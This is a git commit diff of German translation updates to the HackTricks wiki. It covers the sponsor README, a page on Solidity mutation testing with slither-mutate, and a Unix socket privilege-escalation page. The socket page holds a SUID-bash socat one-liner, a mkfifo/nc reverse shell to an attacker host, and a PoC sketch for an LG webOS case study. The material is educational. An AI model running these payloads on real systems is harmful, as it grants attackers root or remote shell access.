Translated ['', 'src/blockchain/smart-contract-security/mutation-testing

This commit is contained in:
Translator 2025-10-01 12:09:29 +00:00
parent 79c73d3449
commit 9ce9e0f8a5
13 changed files with 824 additions and 736 deletions

View File

@ -31,17 +31,17 @@ export LANG="master" # Leave master for english
# Run the docker container indicating the path to the hacktricks folder
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
Ihre lokale Kopie von HackTricks wird nach weniger als 5 Minuten unter **[http://localhost:3337](http://localhost:3337)** verfügbar sein (das Buch muss gebaut werden, bitte haben Sie Geduld).
Ihre lokale Kopie von HackTricks ist in ca. **verfügbar unter [http://localhost:3337](http://localhost:3337)** nach <5 Minuten (das Buch muss gebaut werden, bitte geduldig sein).
## Corporate Sponsors
## Unternehmenssponsoren
### [STM Cyber](https://www.stmcyber.com)
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) ist ein großartiges Cybersecurity-Unternehmen, dessen Slogan **HACK THE UNHACKABLE** ist. Sie führen eigene Forschung durch und entwickeln eigene Hacking-Tools, um **mehrere wertvolle Cybersecurity-Dienstleistungen anzubieten**, wie pentesting, Red teams und Schulungen.
[**STM Cyber**](https://www.stmcyber.com) ist ein großartiges Cybersecurity-Unternehmen, dessen Slogan **HACK THE UNHACKABLE** lautet. Sie betreiben eigene Forschung und entwickeln eigene hacking tools, um mehrere wertvolle Cybersecurity-Services wie pentesting, Red teams und Training anzubieten.
Sie können ihren **Blog** unter [**https://blog.stmcyber.com**](https://blog.stmcyber.com) ansehen.
Sie können ihren **Blog** unter [**https://blog.stmcyber.com**](https://blog.stmcyber.com) besuchen.
**STM Cyber** unterstützt außerdem Open-Source-Cybersecurity-Projekte wie HackTricks :)
@ -51,7 +51,7 @@ Sie können ihren **Blog** unter [**https://blog.stmcyber.com**](https://blog.st
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) ist die bedeutendste Cybersecurity-Veranstaltung in **Spanien** und eine der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein zentraler Treffpunkt für Technologie- und Cybersecurity-Profis aus allen Disziplinen.
[**RootedCON**](https://www.rootedcon.com) ist das relevanteste Cybersecurity-Event in **Spain** und eines der wichtigsten in **Europe**. Mit der **Mission, technisches Wissen zu fördern**, ist dieser Kongress ein lebendiger Treffpunkt für Technologie- und Cybersecurity-Profis aus allen Disziplinen.
{{#ref}}
https://www.rootedcon.com/
@ -63,9 +63,9 @@ https://www.rootedcon.com/
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti** ist Europas #1 für ethical hacking und **bug bounty platform.**
**Intigriti** ist **Europe's #1** ethical hacking und **bug bounty platform.**
**Bug bounty tip**: **Registriere dich** für **Intigriti**, eine Premium-**bug bounty platform created by hackers, for hackers**! Trete uns heute unter [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) bei und beginne, Prämien bis zu **$100,000** zu verdienen!
**Bug bounty tip**: **sign up** for **Intigriti**, eine premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{{#ref}}
https://go.intigriti.com/hacktricks
@ -78,9 +78,9 @@ https://go.intigriti.com/hacktricks
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Nutze [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den weltweit **fortschrittlichsten** Community-Tools angetrieben werden.
Nutze [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den weltweit **most advanced** Community-Tools angetrieben werden.
Get Access Today:
Zugang erhalten:
{{#ref}}
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
@ -92,13 +92,13 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und bug bounty hunters zu kommunizieren!
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server, um mit erfahrenen hackers und bug bounty hunters zu kommunizieren!
- **Hacking Insights:** Beschäftige dich mit Inhalten, die den Nervenkitzel und die Herausforderungen des Hackens behandeln
- **Real-Time Hack News:** Bleibe durch Echtzeit-Nachrichten und -Einblicke über die schnelllebige Hack-Welt auf dem Laufenden
- **Latest Announcements:** Bleibe informiert über die neuesten bug bounties und wichtige Plattform-Updates
- **Hacking Insights:** Engage with content that delves into the thrill and challenges of hacking
- **Real-Time Hack News:** Keep up-to-date with fast-paced hacking world through real-time news and insights
- **Latest Announcements:** Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginne noch heute, mit Top-Hackern zusammenzuarbeiten!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginne noch heute mit der Zusammenarbeit mit Top-Hackern!
---
@ -106,9 +106,9 @@ Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Serve
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Erhalte die Perspektive eines Hackers auf deine Web-Apps, dein Netzwerk und Cloud**
**Erhalte eine hacker's perspective auf deine Web-Apps, dein Netzwerk und Cloud**
**Finde und melde kritische, ausnutzbare Schwachstellen mit echtem Geschäftseinfluss.** Nutze unsere über 20 maßgeschneiderten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir erlauben, Privilegien zu escalate, und verwende automatisierte Exploits, um wichtige Beweise zu sammeln und deine Arbeit in überzeugende Berichte zu verwandeln.
**Finde und melde kritische, ausnutzbare Schwachstellen mit echtem geschäftlichem Einfluss.** Nutze unsere 20+ custom tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die eine Privilegieneskalation ermöglichen, und automatisierte Exploits zu verwenden, um essenzielle Beweise zu sammeln — so wird deine Arbeit in aussagekräftige Reports verwandelt.
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -120,14 +120,14 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** bietet schnelle und einfache Echtzeit-APIs, um **Suchmaschinenergebnisse zuzugreifen**. Sie scrapen Suchmaschinen, managen Proxys, lösen Captchas und parsen alle reichhaltigen strukturierten Daten für dich.
**SerpApi** bietet schnelle und einfache Echtzeit-APIs, um **search engine results** zuzugreifen. Sie scrapen search engines, managen proxies, lösen captchas und parsen alle reichhaltigen strukturierten Daten für dich.
Ein Abonnement eines SerpApi-Plans beinhaltet Zugriff auf über 50 verschiedene APIs zum Scrapen unterschiedlicher Suchmaschinen, darunter Google, Bing, Baidu, Yahoo, Yandex und mehr.\
Im Unterschied zu anderen Anbietern **scrapt SerpApi nicht nur organische Ergebnisse**. SerpApi-Antworten enthalten konsistent alle Anzeigen, Inline-Bilder und -Videos, Knowledge Graphs und andere Elemente und Features, die in den Suchergebnissen vorhanden sind.
Ein Abonnement eines SerpApi-Plans beinhaltet Zugriff auf über 50 verschiedene APIs zum Scrapen unterschiedlicher search engines, einschließlich Google, Bing, Baidu, Yahoo, Yandex und mehr.\
Im Gegensatz zu anderen Anbietern scraped **SerpApi** nicht nur organische Ergebnisse. SerpApi-Antworten enthalten konsistent alle Ads, Inline-Bilder und Videos, Knowledge Graphs und andere Elemente und Features, die in den Suchergebnissen vorhanden sind.
Aktuelle SerpApi-Kunden sind **Apple, Shopify und GrubHub**.\
Für mehr Informationen schau dir ihren [**Blog**](https://serpapi.com/blog/)**,** oder probiere ein Beispiel in ihrem [**playground**](https://serpapi.com/playground)**.**\
Du kannst **hier** ein kostenloses Konto erstellen: [**https://serpapi.com/users/sign_up**](https://serpapi.com/users/sign_up)**.**
Aktuelle SerpApi-Kunden sind **Apple, Shopify, and GrubHub**.\
Für mehr Informationen schaue dir ihren [**Blog**](https://serpapi.com/blog/)**,** oder probiere ein Beispiel in ihrem [**playground**](https://serpapi.com/playground)**.**\
Du kannst **ein kostenloses Konto erstellen** [**hier**](https://serpapi.com/users/sign_up)**.**
---
@ -135,7 +135,7 @@ Du kannst **hier** ein kostenloses Konto erstellen: [**https://serpapi.com/users
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
Lerne die Technologien und Fähigkeiten, die erforderlich sind, um Vulnerability Research, penetration testing und Reverse Engineering durchzuführen, um mobile Anwendungen und Geräte zu schützen. **Meistere iOS- und Android-Sicherheit** durch unsere On-Demand-Kurse und **erhalte Zertifizierungen**:
Lerne die Technologien und Fähigkeiten, die erforderlich sind, um Vulnerability Research, penetration testing und Reverse Engineering durchzuführen, um mobile Anwendungen und Geräte zu schützen. **Meistere iOS und Android security** durch unsere On-Demand-Kurse und **lasse dich zertifizieren**:
{{#ref}}
https://academy.8ksec.io/
@ -147,13 +147,13 @@ https://academy.8ksec.io/
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.net) ist ein professionelles Cybersecurity-Unternehmen mit Sitz in **Amsterdam**, das Unternehmen **weltweit** dabei hilft, sich gegen die neuesten Cybersecurity-Bedrohungen zu schützen, indem es **Offensive-Security-Dienstleistungen** mit einem **modernen** Ansatz anbietet.
[**WebSec**](https://websec.net) ist ein professionelles Cybersecurity-Unternehmen mit Sitz in **Amsterdam**, das Unternehmen **weltweit schützt** vor den neuesten Cybersecurity-Bedrohungen, indem es offensive-security services mit einem **modernen** Ansatz anbietet.
WebSec ist ein internationales Sicherheitsunternehmen mit Büros in Amsterdam und Wyoming. Sie bieten **All-in-One-Sicherheitsdienste** an, was bedeutet, dass sie alles abdecken; Pentesting, **Security** Audits, Awareness Trainings, Phishing-Kampagnen, Code Review, Exploit-Entwicklung, Security-Experten-Outsourcing und vieles mehr.
WebSec ist ein international security company mit Büros in Amsterdam und Wyoming. Sie bieten **all-in-one security services**, das heißt sie übernehmen alles: Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing und vieles mehr.
Eine weitere coole Sache an WebSec ist, dass WebSec im Vergleich zum Branchendurchschnitt **sehr selbstsicher in ihren Fähigkeiten** ist, so sehr, dass sie **die besten Qualitätsresultate garantieren**, wie auf ihrer Website steht: "**If we can't hack it, You don't pay it!**". Für mehr Infos, schau dir ihre [**Website**](https://websec.net/en/) und ihren [**Blog**](https://websec.net/blog/) an!
Ein weiterer cooler Punkt bei WebSec ist, dass sie im Vergleich zum Branchendurchschnitt **sehr selbstbewusst in ihren Fähigkeiten** sind, so sehr, dass sie **die besten Ergebnisse garantieren**; auf ihrer Website steht: "**If we can't hack it, You don't pay it!**". Für mehr Infos schaue dir ihre [**website**](https://websec.net/en/) und ihren [**blog**](https://websec.net/blog/) an!
Zusätzlich ist WebSec auch ein **engagierter Unterstützer von HackTricks.**
Zusätzlich ist WebSec ein **engagierter Unterstützer** von HackTricks.
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
@ -166,9 +166,9 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) ist eine data breach (leak) search engine. \
Wir bieten Random-String-Suche (wie Google) über alle Arten von data leaks, großen und kleinen -- nicht nur die großen -- über Daten aus mehreren Quellen. \
People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, alle Features, die ein pentester braucht.\
**HackTricks continues to be a great learning platform for us all and we're proud to be sponsoring it!**
Wir bieten random string search (like google) über alle Arten von data leaks, große und kleine --nicht nur die großen-- über Daten aus mehreren Quellen. \
Personensuche, AI search, organization search, API (OpenAPI) access, theHarvester integration, alle Features, die ein pentester braucht.\
**HackTricks bleibt eine großartige Lernplattform für uns alle und wir sind stolz, sie zu sponsern!**
{{#ref}}
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -182,12 +182,12 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
**Built for the field. Built around you.**\
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) entwickelt und liefert effektives Cybersecurity-Training, das von Branchenexperten erstellt und geleitet wird. Ihre Programme gehen über Theorie hinaus und vermitteln Teams tiefgehendes Verständnis und umsetzbare Fähigkeiten, unter Verwendung maßgeschneiderter Umgebungen, die reale Bedrohungen widerspiegeln. Für Anfragen zu maßgeschneidertem Training, kontaktiere uns [**hier**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) entwickelt und liefert effektives Cybersecurity-Training, erstellt und geleitet von Industry Experts. Ihre Programme gehen über Theorie hinaus und statten Teams mit tiefem Verständnis und umsetzbaren Fähigkeiten aus, mit maßgeschneiderten Umgebungen, die reale Bedrohungen widerspiegeln. Für maßgeschneiderte Trainingsanfragen kontaktiere uns [**hier**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
**Was ihr Training auszeichnet:**
* Maßgeschneiderte Inhalte und Labs
* Unterstützt durch erstklassige Tools und Plattformen
* Entworfen und gelehrt von Praktikern
* Custom-built content und Labs
* Unterstützt von Top-Tier-Tools und Plattformen
* Entwickelt und gelehrt von Practitioners
{{#ref}}
https://cyberhelmets.com/courses/?ref=hacktricks
@ -199,16 +199,17 @@ https://cyberhelmets.com/courses/?ref=hacktricks
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
Last Tower Solutions bietet spezialisierte Cybersecurity-Dienstleistungen für **Education** und **FinTech**
Institutionen an, mit einem Fokus auf **penetration testing, cloud security assessments**, und
Last Tower Solutions liefert spezialisierte Cybersecurity-Services für **Education** und **FinTech**
Institutionen, mit Fokus auf **penetration testing, cloud security assessments**, und
**compliance readiness** (SOC 2, PCI-DSS, NIST). Unser Team umfasst **OSCP und CISSP
zertifizierte Fachkräfte**, die tiefgehende technische Expertise und branchenübliche Einsichten in
jede Zusammenarbeit einbringen.
zertifizierte Professionals**, die tiefes technisches Fachwissen und Branchen-Standard-Insights in
jedes Engagement einbringen.
Wir gehen über automatisierte Scans hinaus mit **manuellem, intelligence-driven Testing**, das auf
hochbrisante Umgebungen zugeschnitten ist. Vom Schutz von Studentendaten bis zur Absicherung finanzieller Transaktionen helfen wir Organisationen, das zu verteidigen, was am wichtigsten ist.
Wir gehen über automatisierte Scans hinaus mit **manuellem, intelligence-driven Testing**, maßgeschneidert für
hochkritische Umgebungen. Vom Schutz von Studentendaten bis zur Absicherung finanzieller Transaktionen,
helfen wir Organisationen, das Wichtigste zu verteidigen.
_„Eine qualitativ hochwertige Verteidigung erfordert das Wissen über den Angriff; wir bieten Sicherheit durch Verständnis.“_
_„Eine qualitativ hochwertige Verteidigung erfordert Kenntnisse der Offensive, wir bieten Sicherheit durch Verständnis.“_
Bleibe informiert und auf dem neuesten Stand der Cybersecurity, indem du ihren [**Blog**](https://www.lasttowersolutions.com/blog) besuchst.
@ -220,11 +221,11 @@ https://www.lasttowersolutions.com/
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
<figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure>
K8Studio IDE befähigt DevOps, DevSecOps und Entwickler, Kubernetes-Cluster effizient zu verwalten, zu überwachen und abzusichern. Nutze unsere KI-gestützten Insights, modernes Sicherheitsframework und intuitive CloudMaps-GUI, um deine Cluster zu visualisieren, ihren Zustand zu verstehen und mit Zuversicht zu handeln.
K8Studio IDE befähigt DevOps, DevSecOps und Entwickler, Kubernetes-Cluster effizient zu verwalten, zu überwachen und zu sichern. Nutze unsere AI-driven Insights, fortschrittliches Security-Framework und intuitive CloudMaps GUI, um deine Cluster zu visualisieren, ihren Zustand zu verstehen und mit Zuversicht zu handeln.
Zudem ist K8Studio **kompatibel mit allen wichtigen kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift und mehr).
Darüber hinaus ist K8Studio **kompatibel mit allen großen kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift und mehr).
{{#ref}}
https://k8studio.io/
@ -235,13 +236,13 @@ https://k8studio.io/
## License & Disclaimer
Siehe dazu:
Siehe dort:
{{#ref}}
welcome/hacktricks-values-and-faq.md
{{#endref}}
## Github Stats
## GitHub-Statistiken
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)

View File

@ -950,4 +950,4 @@
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md)
- [Cookies Policy](todo/cookies-policy.md)

View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
Mutation Testing "tests your tests", indem es systematisch kleine Änderungen (Mutanten) in deinen Solidity-Code einführt und deine Test-Suite erneut ausführt. Wenn ein Test fehlschlägt, wird der Mutant getötet. Wenn die Tests weiterhin bestehen, überlebt der Mutant und offenbart eine Blindstelle in deiner Test-Suite, die line/branch coverage nicht erkennen kann.
Mutation testing "tests your tests", indem es systematisch kleine Änderungen (mutants) in deinen Solidity-Code einführt und deine Test-Suite erneut ausführt. Wenn ein Test fehlschlägt, wird der mutant getötet. Bestehen die Tests weiterhin, überlebt der mutant und offenbart eine Schwachstelle in deiner Test-Suite, die Zeilen- oder Zweigabdeckung nicht erkennen kann.
Key idea: Coverage zeigt, dass Code ausgeführt wurde; Mutation Testing zeigt, ob das Verhalten tatsächlich mit Assertions abgesichert wird.
Kernidee: Coverage zeigt, dass Code ausgeführt wurde; mutation testing zeigt, ob Verhalten tatsächlich abgesichert/geprüft wird.
## Warum Coverage in die Irre führen kann
## Warum Coverage täuschen kann
Betrachten wir diese einfache Schwellenwertprüfung:
Betrachte diese einfache Schwellenwertprüfung:
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
@ -18,24 +18,24 @@ return false;
}
}
```
Unit-Tests, die nur einen Wert unterhalb und einen Wert oberhalb der Schwelle prüfen, können 100% Zeilen-/Zweigabdeckung erreichen, während sie es versäumen, die Gleichheitsgrenze (==) zu überprüfen. Ein Refactor zu `deposit >= 2 ether` würde solche Tests weiterhin bestehen und dabei stillschweigend die Protokolllogik brechen.
Unit tests that only check a value below and a value above the threshold can reach 100% line/branch coverage while failing to assert the equality boundary (==). A refactor to `deposit >= 2 ether` would still pass such tests, silently breaking protocol logic.
Mutationstests machen diese Lücke sichtbar, indem sie die Bedingung verändern und verifizieren, dass Ihre Tests fehlschlagen.
Mutation testing exposes this gap by mutating the condition and verifying your tests fail.
## Gängige Solidity-Mutationsoperatoren
## Häufige Solidity-Mutationsoperatoren
Slithers Mutations-Engine wendet viele kleine, die Semantik ändernde Änderungen an, wie zum Beispiel:
- Operatorersetzung: `+``-`, `*``/`, etc.
Slithers mutation engine wendet viele kleine, semantikverändernde Änderungen an, wie zum Beispiel:
- Operator-Ersetzung: `+``-`, `*``/`, etc.
- Zuweisungsersetzung: `+=``=`, `-=``=`
- Konstantenersetzung: nicht-null → `0`, `true``false`
- Negation/Ersetzung von Bedingungen innerhalb von `if`/Schleifen
- Ganze Zeilen auskommentieren (CR: Comment Replacement)
- Eine Zeile durch `revert()` ersetzen
- Datentyp-Austausch: z. B. `int128``int64`
- Ersetze eine Zeile durch `revert()`
- Datentyp-Tausch: z. B. `int128``int64`
Ziel: 100% der erzeugten Mutanten eliminieren oder Überlebende mit klarer Begründung rechtfertigen.
Ziel: 100% der erzeugten Mutanten eliminieren, oder Überlebende mit schlüssiger Begründung rechtfertigen.
## Mutationstests mit slither-mutate ausführen
## Mutation-Testing mit slither-mutate ausführen
Voraussetzungen: Slither v0.10.2+.
@ -44,17 +44,17 @@ Voraussetzungen: Slither v0.10.2+.
slither-mutate --help
slither-mutate --list-mutators
```
- Foundry-Beispiel (Ergebnisse erfassen und ein vollständiges Protokoll führen):
- Foundry-Beispiel (Ergebnisse erfassen und ein vollständiges log führen):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
- Wenn du Foundry nicht verwendest, ersetze `--test-cmd` durch den Befehl, mit dem du Tests ausführst (z. B. `npx hardhat test`, `npm test`).
Artefakte und Berichte werden standardmäßig in `./mutation_campaign` gespeichert. Nicht gefangene (überlebende) Mutanten werden dorthin zur Prüfung kopiert.
Artefakte und Berichte werden standardmäßig in `./mutation_campaign` gespeichert. Nicht gefangene (überlebende) Mutanten werden dort zur Inspektion kopiert.
### Ausgabe verstehen
Die Report-Zeilen sehen folgendermaßen aus:
Berichtszeilen sehen so aus:
```text
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
@ -62,48 +62,48 @@ INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNC
- Das Tag in eckigen Klammern ist das Mutator-Alias (z. B. `CR` = Comment Replacement).
- `UNCAUGHT` bedeutet, dass Tests unter dem mutierten Verhalten bestanden haben → fehlende Assertion.
## Laufzeit reduzieren: wirkungsvolle Mutanten priorisieren
## Laufzeit reduzieren: Mutanten mit großer Wirkung priorisieren
Mutationskampagnen können Stunden oder Tage dauern. Tipps zur Kostenreduzierung:
- Umfang: Beginne nur mit kritischen Contracts/Verzeichnissen und erweitere dann.
- Mutatoren priorisieren: Wenn ein hochprioritärer Mutant auf einer Zeile überlebt (z. B. die gesamte Zeile auskommentiert), kannst du niedrigprioritäre Varianten für diese Zeile überspringen.
- Tests parallelisieren, wenn dein Runner das erlaubt; Abhängigkeiten/Builds cachen.
- Fail-fast: früh abbrechen, wenn eine Änderung eindeutig eine Assertion-Lücke zeigt.
- Priorisiere Mutatoren: Wenn ein hochprioritärer Mutant in einer Zeile überlebt (z. B. ganze Zeile auskommentiert), kannst du niedrigere Prioritätsvarianten für diese Zeile überspringen.
- Parallelisiere Tests, wenn dein Runner das erlaubt; cache Abhängigkeiten/Builds.
- Fail-fast: brich früh ab, wenn eine Änderung klar eine fehlende Assertion demonstriert.
## Triage-Workflow für überlebende Mutanten
1) Untersuche die mutierte Zeile und das Verhalten.
- Lokal reproduzieren, indem du die mutierte Zeile anwendest und einen fokussierten Test ausführst.
- Reproduziere lokal, indem du die mutierte Zeile anwendest und einen fokussierten Test ausführst.
2) Stärke Tests, um Zustand zu prüfen, nicht nur Rückgabewerte.
- Füge Gleichheits-/Grenzprüfungen hinzu (z. B. Test threshold `==`).
- Prüfe Post-Conditions: Salden, Gesamtversorgung, Autorisierungseffekte und emittierte Events.
2) Stärke Tests, um den Zustand zu prüfen, nicht nur Rückgabewerte.
- Füge Gleichheits-/Grenzprüfungen hinzu (z. B. teste threshold `==`).
- Prüfe Post-Conditions: Salden, Gesamtangebot, Autorisierungseffekte und emittierte Events.
3) Ersetze zu permissive Mocks durch realistisches Verhalten.
- Sorge dafür, dass Mocks Transfers, Fehlerpfade und Event-Emissionen erzwingen, die on-chain auftreten.
- Stelle sicher, dass Mocks Transfers, Fehlerpfade und Event-Emissionen erzwingen, wie sie on-chain auftreten.
4) Füge Invarianten für Fuzz-Tests hinzu.
- Z. B. Werterhaltung, nicht-negative Salden, Autorisierungsinvarianten, monotone Gesamtversorgung, falls zutreffend.
- Z. B. Erhaltung des Wertes, nicht-negative Salden, Autorisierungsinvarianten, monotones Supply wo anwendbar.
5) Führe slither-mutate erneut aus, bis Überlebende eliminiert oder ausdrücklich gerechtfertigt sind.
5) Führe slither-mutate erneut aus, bis Überlebende getötet oder explizit gerechtfertigt sind.
## Fallstudie: Aufdecken fehlender Zustandsprüfungen (Arkis protocol)
## Fallstudie: Aufdecken fehlender Zustandsassertionen (Arkis protocol)
Eine Mutationskampagne während eines Audits des Arkis DeFi-Protokolls brachte Überlebende wie zutage:
Eine Mutationskampagne während eines Audits des Arkis DeFi-Protokolls förderte Überlebende zutage wie:
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
Durch Auskommentieren der Zuweisung brachen die Tests nicht, was fehlende Post-State-Assertions beweist. Ursache: Der Code vertraute auf ein vom Nutzer kontrolliertes `_cmd.value` statt tatsächliche Token-Transfers zu validieren. Ein Angreifer könnte erwartete und tatsächliche Transfers desynchronisieren, um Gelder abzuziehen. Ergebnis: hohes Risiko für die Solvenz des Protokolls.
Das Auskommentieren der Zuweisung brach die Tests nicht, was fehlende Post-State-Assertions bewies. Ursache: Der Code vertraute auf ein vom Benutzer kontrolliertes `_cmd.value` anstatt tatsächliche Token-Transfers zu validieren. Ein Angreifer konnte erwartete und tatsächliche Transfers desynchronisieren, um Mittel abzuziehen. Ergebnis: hohes Risiko für die Solvenz des Protokolls.
Leitlinie: Behandle Survivors, die Werttransfers, Buchhaltung oder Zugriffskontrolle beeinflussen, als hohes Risiko, bis sie killed sind.
Guidance: Behandle survivors, die Werttransfers, Buchführung oder Zugriffskontrolle beeinflussen, als hohes Risiko, bis sie getötet sind.
## Praktische Checkliste
- Führe eine gezielte Kampagne durch:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
- Triage Survivors und schreibe Tests/Invarianten, die unter dem mutierten Verhalten fehlschlagen würden.
- Prüfe Salden, Supply, Autorisierungen und Events.
- Füge Grenztests hinzu (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Triage survivors und schreibe Tests/Invarianten, die unter dem mutierten Verhalten fehlschlagen würden.
- Überprüfe Salden, Supply, Authorisierungen und Events.
- Füge Grenzfall-Tests hinzu (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Ersetze unrealistische Mocks; simuliere Fehlermodi.
- Iteriere, bis alle Mutanten getötet oder mit Kommentaren und Begründung gerechtfertigt sind.

File diff suppressed because it is too large Load Diff

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## Beispiel für Socket-Bindung mit Python
## Socket binding example with Python
Im folgenden Beispiel wird ein **unix socket erstellt** (`/tmp/socket_test.s`) und alles, was **empfangen** wird, wird von `os.system` **ausgeführt**. Ich weiß, dass du so etwas nicht in freier Wildbahn finden wirst, aber das Ziel dieses Beispiels ist zu zeigen, wie Code aussieht, der unix sockets verwendet, und wie man die Eingaben im schlimmstmöglichen Fall handhabt.
Im folgenden Beispiel wird ein **unix socket** (`/tmp/socket_test.s`) erstellt und alles, was **empfangen** wird, von `os.system` **ausgeführt**. Ich weiß, dass du so etwas in freier Wildbahn wahrscheinlich nicht finden wirst, aber das Ziel dieses Beispiels ist zu zeigen, wie Code aussieht, der unix sockets verwendet, und wie man die Eingabe im schlimmstmöglichen Fall handhabt.
```python:s.py
import socket
import os, os.path
@ -39,13 +39,13 @@ echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat -
```
## Fallstudie: Root-owned UNIX socket signal-triggered escalation (LG webOS)
Einige privilegierte Daemons exponieren einen root-owned UNIX socket, der untrusted input akzeptiert und privilegierte Aktionen an thread-IDs und signals koppelt. Wenn das Protokoll einem nicht-privilegierten Client erlaubt, zu beeinflussen, welcher native Thread ins Visier genommen wird, könnten Sie einen privilegierten Codepfad auslösen und eskalieren.
Einige privilegierte Daemons öffnen einen root-owned UNIX socket, der untrusted input akzeptiert und privilegierte Aktionen an thread-IDs und signals koppelt. Wenn das Protokoll einem nicht-privilegierten Client erlaubt zu beeinflussen, welcher native Thread das Ziel ist, kann man möglicherweise einen privilegierten Codepfad auslösen und Privilegien erlangen.
Beobachtetes Muster:
- Mit einem root-owned Socket verbinden (z. B. /tmp/remotelogger).
- Einen Thread erstellen und dessen native thread id (TID) ermitteln.
- Die TID (packed) plus Padding als Request senden; eine Bestätigung erhalten.
- Ein bestimmtes Signal an diese TID senden, um das privilegierte Verhalten auszulösen.
- Ein bestimmtes signal an diese TID senden, um das privilegierte Verhalten auszulösen.
Minimale PoC-Skizze:
```python
@ -65,8 +65,8 @@ rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
```
Hinweise:
- Diese Klasse von Fehlern entsteht dadurch, dass Werten vertraut wird, die aus unprivilegiertem Client-Zustand (TIDs) abgeleitet wurden, und diese an privilegierte Signal-Handler oder Logik gebunden werden.
- Absichern durch Erzwingen von Anmeldeinformationen auf dem Socket, Validieren von Nachrichtenformaten und Entkoppeln privilegierter Operationen von extern bereitgestellten Thread-Identifikatoren.
